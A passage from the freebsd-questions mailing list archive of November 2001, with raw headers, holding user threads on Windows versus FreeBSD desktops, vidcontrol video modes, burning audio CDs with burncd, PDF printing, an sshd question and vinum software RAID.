(8.11.6) id fAL0WUE22816; Wed, 21 Nov 2001 01:32:30 +0100 (CET) Message-ID: <019701c17224$013e6520$0a00000a@atkielski.com> From: "Anthony Atkielski" To: "Mike Meyer" Cc: References: <15354.60877.44081.17515@guru.mired.org> Subject: Re: home pc use Date: Wed, 21 Nov 2001 01:32:24 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Mike writes: > Try the following: > > $ cd > $ mv .xinitrc save.xinitrc > $ echo netscape > .xinitrc > $ startx > > Poof. You're now running netscape without a > window manager. Fascinating. I don't care for Netscape, but I presume I could do the same with the Linux version of Opera. > If you're not familiar with them, they were > terminal-priced boxes that ran an X server in > firmware. I've heard of them, but the rumor was that they were terribly overpriced. > From the sysadmins point of view, this was great. > You only had to manage one system, as the boxes > you put on desks didn't require management beyond > the power switch. It also provided the kind of user > mobility in the late 80s and early 90s that > Windows didn't get until the last few years. So are X Terminals still in common use? If not, why not? They sound like an excellent solution to a recurring problem with Windows (namely, the fact that users tend to screw up machines that they can fiddle with themselves). > Why restrict yourself to operating systems? Only because of the context of the conversation. > Actually, the thought of moving *any* production > environment from one OS to another is chilling. I learned the hard way that just going from one release to the next--or even just applying the latest set of patches--can be pretty chilling, too. > That's one of the things that IBM depended > on for cash flow, and that MS depends on now. Yes, all PC software companies depend on it. Unfortunately, that situation cannot endure. I'm a bit confused myself because, on the one hand, I know that Microsoft has little choice but to go to the XP model of "pay forever," but on the other hand, I'm absolutely opposed to paying for anything of the kind myself. Indeed, the day I got my FreeBSD system was the day after Windows XP went on sale. I worry about open-source products like FreeBSD, too. It's great to have such nice software for free, but where is the money going to come from to keep such p roducts alive? (Although I understand that FreeBSD is getting some cash from development of a secure version, TrustedBSD--will that become open source too, I wonder?) > Exactly. If I wanted to clone Windows, I wouldn't > run FreeBSD on my desktop. Agreed. That's why FreeBSD has just a plain text console on my desktop right now. > I've been told that you can change the window > manager on Windows (I believe they call it a > "shell"), but I've as yet to find a place to > download an alternative. On NT, at least, you can theoretically unplug the Win32 subsystem and put another one in its place. I've never heard of anyone doing it. In theory, you could have any GUI you wanted, just as with UNIX. However, with recent kludges made to NT to support DirectX and other aberrations, I don't know if this is still possible. It was never possible with the consumer-grade versions of Windows, which were just one big blob. > MS changed their license to kill Netscape's > product, which forced HP to replace their > shell with the one MS provides, creating a > measurable increase in support calls. That's a more superficial shell, though. In theory, you can chuck the entire Win32 subsystem, which goes down to the kernel. > I don't use window managers that provide > drop shadows or icons. Which window manager provides the cleanest desktop under UNIX? Also, if the window manager is just another X client, how does it manage to influence the appearance of windows created by other clients? > Well, nobody sells FreeBSD, but it sees a lot > of use in production environments with exactly > that level of support. I meant selling in the sense of successful advocacy. > Doesn't sound like you've had much experience > with commercially supported OS tech support. On the contrary, I've had a ton of experience, on _both_ sides of that fence. But if you have a hotline, you can tell your management that the vendor is working on something, and then the pressure is off. Making no progress when the ball is in the vendor's court is _much_ different from making no progress when the ball is in your court. > Telling managers "I'm waiting for an answer > from vendor tech support" is a *very* common > occurence with them. Yes, and it works well. But it only works if there _is_ a vendor tech support. Many vendors have an implicit or even an explicit obligation of performance in their support contracts, so managers know that it can't ride forever, and even if it does, they can get a lot of mileage out of saying the vendor is looking into it. > That's true. And the best MVS environment is sold > by IBM. So what? Well, an important consequence of that is that you should never try to compete on your competitor's turf. The best windowing environment around, for most purposes, is Windows. Trying to compete against Windows with a UNIX windowing environment is self-defeating. If you want to advocate UNIX (as in FreeBSD), do it by emphasizing what UNIX does best, not by continually showing what it does worst. > If you can find the .001% of applications that > aren't useless in the .1% that don't run on Windows, > you'll do fine. The chances of finding such an application would be the product of these two probabilities--or one in one hundred million. > I believe you said you were a web developer. It is one of the things I do, yes. Apache under FreeBSD. I try to avoid IIS these days. > You can build an almost complete web development > environment on FreeBSD. Probably. What would be the nearest equivalent of Visual InterDev on FreeBSD? I wouldn't need any of the fancy features, just something to manage the files in a Web-friendly way, and a nice source editor like Visual InterDev has. > ... because MSIE is your typical buggy MS trash, so > you have to QA against it to find out where they > aren't following the standards. In the most recent independent tests I've seen, MSIE adheres to Web standards better than any other browser. Only Opera makes a comparably good showing. Netscape is significantly behind, even in version 6.x; the old version 4.x had thousands of bugs and isn't even in the running (never was, actually). > Since MSIE runs on Solaris/SPARC, you can put > together a complete web development environment > on that Unix platform. But that wouldn't be free. Being in the clutches of Sun is at least as bad as being in the clutches of MS. > Since it's not repeating, I'd write it off as a > hardware hiccup. That is almost my conclusion, but I tend to write it off as a software bug that occurs only under some weird set of hardware conditions. As long as it is not occurring again and again, I'm not too worried about it. Already I am running a card with no support (some sort of GeForce card--it came with the hardware, but I run it in plain text mode), so perhaps it hit something there. The processor gets pretty warm with setiathome (49 degrees), but that still seems to be within limits, and in any case, as far as I know neither chipset/MB nor the AMD processor has any provision to boot the system if the temperature gets too high. > If that doesn't satisfy you, make sure you're > set up to capture core dumps, be prepared to debug > them, and wait for it to happen again. Dumps are not produced by default? And if it was a hard reboot (branching to the initialization address in the BIOS, or something), how would FreeBSD get a dump? > KDE is not an X server. KDE is a desktop environment. > It can be run on any machine with IP connectivity > to the X server. Including a Windows machine? Or would I still have to spend hundreds of dollars on an X server for Windows to do that? To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 16:35:47 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mailsrv.otenet.gr (mailsrv.otenet.gr [195.170.0.5]) by hub.freebsd.org (Postfix) with ESMTP id 0DE6837B41A for ; Tue, 20 Nov 2001 16:35:44 -0800 (PST) Received: from hades.hell.gr (patr530-a024.otenet.gr [212.205.215.24]) by mailsrv.otenet.gr (8.11.5/8.11.5) with ESMTP id fAL0Zao26814; Wed, 21 Nov 2001 02:35:36 +0200 (EET) Received: (from charon@localhost) by hades.hell.gr (8.11.6/8.11.6) id fAL0Zbn53019; Wed, 21 Nov 2001 02:35:37 +0200 (EET) (envelope-from charon@labs.gr) Date: Wed, 21 Nov 2001 02:35:36 +0200 From: Giorgos Keramidas To: Anthony Atkielski Cc: questions@FreeBSD.ORG Subject: Re: home pc use Message-ID: <20011121003536.GB52075@hades.hell.gr> References: <20011119220243.A268@prayforwind.com> <009a01c171a9$4eedbee0$0a00000a@atkielski.com> <00cd01c171ac$ca0fa0e0$0a00000a@atkielski.com> <20011120102625.GB75402@rhadamanth> <00d201c171af$61dccb80$0a00000a@atkielski.com> <20011120024643.B92409@xor.obsecurity.org> <012001c171b5$ac8d86a0$0a00000a@atkielski.com> <20011120213753.GE27244@hades.hell.gr> <016401c1721f$517acec0$0a00000a@atkielski.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <016401c1721f$517acec0$0a00000a@atkielski.com> User-Agent: Mutt/1.3.23.1i Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On 2001-11-21 00:58:51, Anthony Atkielski wrote: > Giorgos writes: > > Most of the people on these lists can do their > > daily work without caring about the Microsoft way > > of doing things. It is one thing to say `I hate > > Microsoft' and a totally different story to say > > `I don't care about Microsoft'. Don't let the > > subtle difference confuse you. > > Very often there isn't any difference, and the latter is a euphemism > for the former. Oh but there is. I do not enjoy bashing Microsoft. I just do not like working with their products. Therefore, I don't use them. Bashing and trolling in Microsoft groups and lists is rather uninteresting and highly boring for me. That's the difference I wanted to highlight. -giorgos To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 16:36:51 2001 Delivered-To: freebsd-questions@freebsd.org Received: from guru.mired.org (okc-65-31-203-60.mmcable.com [65.31.203.60]) by hub.freebsd.org (Postfix) with SMTP id B55C237B419 for ; Tue, 20 Nov 2001 16:36:48 -0800 (PST) Received: (qmail 82153 invoked by uid 100); 21 Nov 2001 00:37:03 -0000 From: Mike Meyer MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15354.63279.189435.227943@guru.mired.org> Date: Tue, 20 Nov 2001 18:37:03 -0600 To: Eric Cc: questions@freebsd.org Subject: Re: pdf print server In-Reply-To: <94531476@toto.iv> X-Mailer: VM 6.90 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid X-face: "5Mnwy%?j>IIV\)A=):rjWL~NB2aH[}Yq8Z=u~vJ`"(,&SiLvbbz2W`;h9L,Yg`+vb1>RG% *h+%X^n0EZd>TM8_IB;a8F?(Fb"lw'IgCoyM.[Lg#r\ Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Eric types: > I'm trying to set up a printer server for Mac, windows, and BSD clients to > print to. In conjunction with our web server, I'd like users of the web site > to click little buttons that tell the server to print a file (mostly pdf's). > This seems easy enough with cgi/perl/shell scripts, but I don't know of a > program that can decode and print a pdf besides Acrobat, which means I'd have > to install linux base and X windows just to keep Acrobat happy. > > Anybody know of a simple command line program that can take a pdf and print > it?? Depends on what kind of printer you have. Ghostscript can print pdf files, assuming there's a driver for your printer. http://www.mired.org/home/mwm/ Q: How do you make the gods laugh? A: Tell them your plans. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 16:40:33 2001 Delivered-To: freebsd-questions@freebsd.org Received: from blacklamb.mykitchentable.net (ekgr-dsl3-t211.citlink.net [207.173.248.211]) by hub.freebsd.org (Postfix) with ESMTP id 179A837B419 for ; Tue, 20 Nov 2001 16:40:27 -0800 (PST) Received: from tagalong (unknown [165.107.42.150]) by blacklamb.mykitchentable.net (Postfix) with SMTP id 95A97EE547; Tue, 20 Nov 2001 16:41:27 -0800 (PST) Message-ID: <002401c17225$199cafe0$962a6ba5@lc.ca.gov> From: "Drew Tomlinson" To: "Christian Weisgerber" , "Gary W. Swearingen" Cc: References: <9tedjp$31cl$1@kemoauc.mips.inka.de> Subject: Re: /usr/ports/shells/ksh93 Date: Tue, 20 Nov 2001 16:40:20 -0800 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG ----- Original Message ----- From: "Gary W. Swearingen" To: "Christian Weisgerber" Cc: Sent: Tuesday, November 20, 2001 4:00 PM Subject: Re: /usr/ports/shells/ksh93 > naddy@mips.inka.de (Christian Weisgerber) writes: > > > Maybe the maintainer knows? But hey, why ask the one guy most > > likely to know when you can instead address hundreds or thousands > > of people who probably don't? > > Interesting. And suprising to me, but I guess it makes some sense and > the ports section Handbook (4.3.2) does say to contact the maintainer > first, then write a PR. > > Where do you think -questions and -ports should be mentioned in the > Handbook's list of ways to deal with seemingly broken ports, if > anywhere? (They're not in there now.) > > I think many people have an instinctive hesitation to bother a > maintainer or developer about things and interrupt their important work > and would rather bother other "users". We forget that many (most?) read > these lists too. Should the Handbook (and man pages?) give people > warmer feelings about dealing directly with people, than with "the > system"? But wasn't "the system" created to insulate you from direct > initial contact with users? FWIW, I attempted to use this port a while ago and gave up as I could not get things to work. The question and resulting answer have given me additional information with which to try again. If it had not appeared on this list, I'd still be in the dark. Thanks! Drew To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 16:41:47 2001 Delivered-To: freebsd-questions@freebsd.org Received: from atkielski.com (atkielski.com [161.58.232.69]) by hub.freebsd.org (Postfix) with ESMTP id EFF6F37B405; Tue, 20 Nov 2001 16:41:42 -0800 (PST) Received: from contactdish (ASt-Lambert-101-2-1-14.abo.wanadoo.fr [193.251.59.14]) by atkielski.com (8.11.6) id fAL0ffx26845; Wed, 21 Nov 2001 01:41:41 +0100 (CET) Message-ID: <01a001c17225$49f23110$0a00000a@atkielski.com> From: "Anthony Atkielski" To: "Greg Lehey" Cc: "FreeBSD Questions" References: <20011120114236.GA76431@rhadamanth> <005f01c171bf$c4d06b10$0a00000a@atkielski.com> <3BF9B12B.3D521A4D@nycap.rr.com> <0111191831240Q.60958@chip.wiegand.org> <20011119220243.A268@prayforwind.com> <009a01c171a9$4eedbee0$0a00000a@atkielski.com> <20011120023948.A92409@xor.obsecurity.org> <00df01c171b0$2a938be0$0a00000a@atkielski.com> <20011120024747.A92560@xor.obsecurity.org> <012501c171b5$dcd9b900$0a00000a@atkielski.com> <20011121103233.K76318@monorchid.lemis.com> Subject: Re: home pc use Date: Wed, 21 Nov 2001 01:41:32 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Greg writes: > Are you planning to use only the console > interface? For the time being, yes. I haven't actually figured out what I'd do with a GUI, since I don't have much in the way of GUI-based applications on the machine. > All at the same time? Usually a couple at one time are open. Many I use on a more or less daily basis. > Obviously if you're happy with Microsoft, there's > no reason to change. I'm not; the production desktop machine remains under Windows NT. I may eventually use the FreeBSD system for production, once I'm satisfied with the configuration and backup plans, but the Windows machine will remain in any case. > The fifth machine runs Microsoft. I am required > to use it for my work. Yup. Most of us are. > Why would I want this? Because you need it for work. > There aren't too many operating systems I haven't > used. Then you agree with me. > Under these circumstances, I'm surprised that > you even try something else. Why? I'm always open to new things. But note that I _added_ a machine to run FreeBSD. I did not replace the Windows machine. I couldn't replace it even if I wanted to. > But note that the average user is also very > badly educated about computers. The average user has a life outside computers, and so he probably doesn't care whether he is educated or not. A computer to him is just an appliance, like a washing machine. > When that changes, software will get better > than the current Microsoft junk. It isn't going to change. In fact, the trend will be in the opposite direction: more and more end users knowing less and less. > You're certainly in a minority there. On this list, perhaps. Not in the world at large. In fact, for a great many people, computer = Windows. > Having said that, I hate KDE. It tries to look > too much like Microsoft, which I think is the > wrong paradigm. Okay, so what do you suggest? Something with clean and simple graphics. > Oh yes, she has Microsoft on her laptop too. > She hardly uses it. What type of education does she have, and what is her line of work? > Default window manager? There isn't one. Well, something was there when I typed startx, before installing KDE. It was pretty primitive. > No, you should learn to use it to its best > advantage. I agree. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 16:46:46 2001 Delivered-To: freebsd-questions@freebsd.org Received: from museum.rain.com (museum.rain.com [206.29.168.234]) by hub.freebsd.org (Postfix) with ESMTP id 9D77837B405 for ; Tue, 20 Nov 2001 16:46:42 -0800 (PST) Received: (from list@localhost) by museum.rain.com (8.11.6/8.11.4) id fAL0kVZ11693; Tue, 20 Nov 2001 16:46:31 -0800 (PST) (envelope-from list) Date: Tue, 20 Nov 2001 16:46:31 -0800 From: list To: Anthony Atkielski Cc: FreeBSD Questions Subject: Re: How do I set vidcontrol modes? Message-ID: <20011120164631.B11629@museum.rain.com> References: <014d01c1721d$74e0c470$0a00000a@atkielski.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <014d01c1721d$74e0c470$0a00000a@atkielski.com>; from anthony@atkielski.com on Wed, Nov 21, 2001 at 12:45:31AM +0100 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Wed, Nov 21, 2001 at 12:45:31AM +0100, Anthony Atkielski wrote: > Okay, I give up: How do I set a video mode in vidcontrol after finding one on > the list produced by vidcontrol -i mode that I wish to use? I tried specifying > the number of the mode, with no luck. Tried it in hex, too (e.g., "vidcontrol > 0x325") but that doesn't work, either. What's the secret? No, the man page > doesn't explain it. > You want vidcontrol mode where mode is the mode you want. For example, vidcontrol 80x43 Make sure you have the necessary kernel stuff for VESA support. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 16:49:40 2001 Delivered-To: freebsd-questions@freebsd.org Received: from hotmail.com (f44.law8.hotmail.com [216.33.241.44]) by hub.freebsd.org (Postfix) with ESMTP id 4894237B405 for ; Tue, 20 Nov 2001 16:49:37 -0800 (PST) Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Tue, 20 Nov 2001 16:49:37 -0800 Received: from 209.226.241.32 by lw8fd.law8.hotmail.msn.com with HTTP; Wed, 21 Nov 2001 00:49:36 GMT X-Originating-IP: [209.226.241.32] From: "Pierre-Luc Drouin" To: rex@rexroof.com Cc: freebsd-questions@freebsd.org Subject: Re: burncd & audio cds Date: Wed, 21 Nov 2001 00:49:36 Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1; format=flowed Message-ID: X-OriginalArrivalTime: 21 Nov 2001 00:49:37.0229 (UTC) FILETIME=[6505D7D0:01C17226] Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG px-w2410A is a UDMA33 drive and px-w1610A is a DMA2 drive. I`ve seen (i think on storagereview.com) then there`s a jumper to set px-w2410A to DMA2. Px-w1610A is supposed to be supported and px-w1210A too and they are both dma2. Perhaps px-w2410A works in dma2 mode? >From: "Rex A. Roof" >To: Pierre-Luc Drouin >CC: freebsd-questions@freebsd.org >Subject: Re: burncd & audio cds >Date: Tue, 20 Nov 2001 18:54:50 -0500 > >the two cd-rw drives I've tried this on are: > >a plextor px-w2410A and a non-brand name drive >that dmesg tells me is a RW7200A, I know it's a 20x burner. > > >neither of them appear to be in the compatibilty list... hmm. > > >On Tue, Nov 20, 2001 at 09:59:12PM +0000, Pierre-Luc Drouin wrote: > > > > Is your drive in burncd supported drives ( http://freebsd.dk/ata/ )?. I > > cannot burn audio cds with my lg 12x/8x/32x atapi (CED-8120B). It works >for > > data cds and cd-rw perfectly, but with audio cds, it says always >"doesn't > > write (wrote -1 of 32768)" Only LG cd burner in list is CED-8080B, so >mine > > doesn't seem to be fully compatible... > > > > Someone has a Plextor PX-W1610A or PX-W2410 and could confirm me than it >is > > fully compatible (including audio cds) with burncd? > > > > I've tried to use cdrecord, but it seems there is nothing to emulate >scsi in > > FreeBSD like there is in Linux... > > > > > > >From: "Rex A. Roof" > > >To: freebsd-questions@freebsd.org > > >Subject: burncd & audio cds > > >Date: Tue, 20 Nov 2001 15:12:08 -0500 > > > > > >Any time I try to burn audio cds with burncd I end up with a cd full of > > >static. > > > > > >I've taken the .cdr files that I've used to burn these cds and burned > > >them w/out problem on a linux box using cdrecord. > > > > > >Both of these boxes are 4.4 (I've tried 5-current too, though), > > >and the command line I've used is as follows: > > > > > >burncd -s 20 -e raw *cdr fixate > > > > > >I've also tried playing with the speed, and using 'audio' instead of >'raw', > > >I think they're the same thing, though. > > > > > >I've also tried turning on preemphasis, no luck. > > > > > >I should note that I can hear the first few milliseconds of track #1 >but > > >after that it's just fuzz. > > > > > >any suggestions? > > > > > > -Rex > > > > > >To Unsubscribe: send mail to majordomo@FreeBSD.org > > >with "unsubscribe freebsd-questions" in the body of the message > > > > > > _________________________________________________________________ > > Téléchargez MSN Explorer gratuitement à l'adresse > > http://explorer.msn.fr/intl.asp _________________________________________________________________ Téléchargez MSN Explorer gratuitement à l'adresse http://explorer.msn.fr/intl.asp To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 16:54:30 2001 Delivered-To: freebsd-questions@freebsd.org Received: from atkielski.com (atkielski.com [161.58.232.69]) by hub.freebsd.org (Postfix) with ESMTP id 14B8137B405 for ; Tue, 20 Nov 2001 16:54:23 -0800 (PST) Received: from contactdish (ASt-Lambert-101-2-1-14.abo.wanadoo.fr [193.251.59.14]) by atkielski.com (8.11.6) id fAL0sJu32301; Wed, 21 Nov 2001 01:54:19 +0100 (CET) Message-ID: <01bd01c17227$0da4f510$0a00000a@atkielski.com> From: "Anthony Atkielski" To: "list" Cc: "FreeBSD Questions" References: <014d01c1721d$74e0c470$0a00000a@atkielski.com> <20011120164631.B11629@museum.rain.com> Subject: Re: How do I set vidcontrol modes? Date: Wed, 21 Nov 2001 01:54:13 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG But the vidcontrol -i mode command only lists modes with numbers to reference them; it doesn't seem to give the keywords that I need to specify in the same command in order to change the mode. But then vidcontrol doesn't seem to recognize just a number for the mode. So how do I pick a mode off the list and specify it in a subsequent vidcontrol command in order to change modes? For example: freebie# vidcontrol -i mode mode# flags type size font window linear buffer ------------------------------------------------------------------------------ 0 (0x000) 0x00000001 T 40x25 8x8 0xb8000 32k 32k 0x00000000 32k 1 (0x001) 0x00000001 T 40x25 8x8 0xb8000 32k 32k 0x00000000 32k 2 (0x002) 0x00000001 T 80x25 8x8 0xb8000 32k 32k 0x00000000 32k 3 (0x003) 0x00000001 T 80x25 8x8 0xb8000 32k 32k 0x00000000 32k 4 (0x004) 0x00000003 G 320x200x2 1 8x8 0xb8000 32k 32k 0x00000000 32k 5 (0x005) 0x00000003 G 320x200x2 1 8x8 0xb8000 32k 32k 0x00000000 32k 6 (0x006) 0x00000003 G 640x200x1 1 8x8 0xb8000 32k 32k 0x00000000 32k 13 (0x00d) 0x00000003 G 320x200x4 4 8x8 0xa0000 64k 64k 0x00000000 256k 14 (0x00e) 0x00000003 G 640x200x4 4 8x8 0xa0000 64k 64k 0x00000000 256k 325 (0x145) 0x0000000f G 1600x1200x8 1 8x16 0xa0000 64k 64k 0xd0000000 65536k [...] 326 (0x146) 0x0000000f G 1600x1200x16 1 8x16 0xa0000 64k 64k 0xd0000000 65536k Now how do I specify one of these modes in a vidcontrol command? ----- Original Message ----- From: "list" To: "Anthony Atkielski" Cc: "FreeBSD Questions" Sent: Wednesday, November 21, 2001 01:46 Subject: Re: How do I set vidcontrol modes? > On Wed, Nov 21, 2001 at 12:45:31AM +0100, Anthony Atkielski wrote: > > Okay, I give up: How do I set a video mode in vidcontrol after finding one on > > the list produced by vidcontrol -i mode that I wish to use? I tried specifying > > the number of the mode, with no luck. Tried it in hex, too (e.g., "vidcontrol > > 0x325") but that doesn't work, either. What's the secret? No, the man page > > doesn't explain it. > > > > You want vidcontrol mode where mode is the mode you want. For example, > > vidcontrol 80x43 > > Make sure you have the necessary kernel stuff for VESA support. > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 17: 3:12 2001 Delivered-To: freebsd-questions@freebsd.org Received: from flood.goldengate.net (flood.goldengate.net [209.240.87.82]) by hub.freebsd.org (Postfix) with ESMTP id 6296337B41A for ; Tue, 20 Nov 2001 17:03:08 -0800 (PST) Received: from isis ([216.250.174.26]) by flood.goldengate.net (8.11.6/8.11.6) with SMTP id fAL133B06836 for ; Tue, 20 Nov 2001 19:03:03 -0600 (CST) From: "Bob" To: Subject: sshd error Date: Tue, 20 Nov 2001 19:05:58 -0600 Message-ID: MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_0017_01C171F6.6311D0D0" X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) Importance: Normal X-MS-TNEF-Correlator: X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4807.1700 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG This is a multi-part message in MIME format. ------=_NextPart_000_0017_01C171F6.6311D0D0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit am new to the list and FreeBSD, so please excuse me if this is not the right place to ask this question. I have just completed a new, fresh install of FreeBSD from CDROM, from book "The Complete FreeBSD" by Greg Lehey. I pretty much did an all "auto" and let install pgm do it's thing. I thought it best for first time install. PC is a Dell 500 PIII 256Meg Ram. Has 1 NIC, 3C905, IP adr is 192.168.10.65, mask 255.255.255.0. I can ping other workstations from this box and I can telnet into this box from my W2K box. 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Date: Tue, 20 Nov 2001 17:19:12 -0800 MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG > But the vidcontrol -i mode command only lists modes with numbers to reference > them; it doesn't seem to give the keywords that I need to specify in the same > command in order to change the mode. Your question was answered correctly. Look at what is listed in the "size" column from _vidcontrol -i mode_ i.e. 40x25, 132x43, etc. those are exactly the "keywords" you are looking for and exactly what you were told the first time. And - pay heed to the comment about 'options VESA' in your KERNCONFIG, especially if you want 132x43 or similiar. Careful reading of _man vidcontrol_ would have shown you all this and more. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 17:27:41 2001 Delivered-To: freebsd-questions@freebsd.org Received: from pogo.caustic.org (caustic.org [64.163.147.186]) by hub.freebsd.org (Postfix) with ESMTP id 4933537B405 for ; Tue, 20 Nov 2001 17:27:39 -0800 (PST) Received: from localhost (jan@localhost) by pogo.caustic.org (8.11.6/8.11.6) with ESMTP id fAL1RLX23427; Tue, 20 Nov 2001 17:27:21 -0800 (PST) (envelope-from jan@caustic.org) Date: Tue, 20 Nov 2001 17:27:20 -0800 (PST) From: "f.johan.beisser" X-X-Sender: To: Mike Meyer Cc: Subject: Re: Filesystem Sizes In-Reply-To: <15354.62956.134167.912141@guru.mired.org> Message-ID: <20011120164450.L16958-100000@localhost> X-Ignore: This statement isn't supposed to be read by you X-TO-THE-FBI-CIA-AND-NSA: HI! HOW YA DOIN? MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Tue, 20 Nov 2001, Mike Meyer wrote: > f.johan.beisser types: > > > i don't care for vinum myself. software RAID isn't going to be as reliable > > as hardware. vinum just happens to be better than most versions of > > software RAID. > > Why should software loaded onto a ROM - which is what hardware RAID > uses - be more reliable than software not loaded onto a ROM? the ROM is less likely to be changed. admittedly, prom suffers from many of the same problems that an OS/software raid has: changes by users, controller issues, bad disks, computational errors, configuration errors, bad programming, etc. the software RAID has the additional problems of: changed configuration files, OS changes, device addressing changes (unlikely in *BSD, but it could happen), disk failure causing kernel panics... you get the idea. now, please, in my /experience/, vinum hasn't cut it. i've not used vinum since FreeBSD 3.4 or so, when i ran several tests with it, and lost just about all the data i had on the RAID. it was rather dissapointing. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 17:31: 8 2001 Delivered-To: freebsd-questions@freebsd.org Received: from pogo.caustic.org (caustic.org [64.163.147.186]) by hub.freebsd.org (Postfix) with ESMTP id 128CA37B41A for ; Tue, 20 Nov 2001 17:31:05 -0800 (PST) Received: from localhost (jan@localhost) by pogo.caustic.org (8.11.6/8.11.6) with ESMTP id fAL1V1a23446; Tue, 20 Nov 2001 17:31:01 -0800 (PST) (envelope-from jan@caustic.org) Date: Tue, 20 Nov 2001 17:31:01 -0800 (PST) From: "f.johan.beisser" X-X-Sender: To: Bob Cc: Subject: Re: sshd error In-Reply-To: Message-ID: <20011120172819.P16958-100000@localhost> X-Ignore: This statement isn't supposed to be read by you X-TO-THE-FBI-CIA-AND-NSA: HI! HOW YA DOIN? MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: 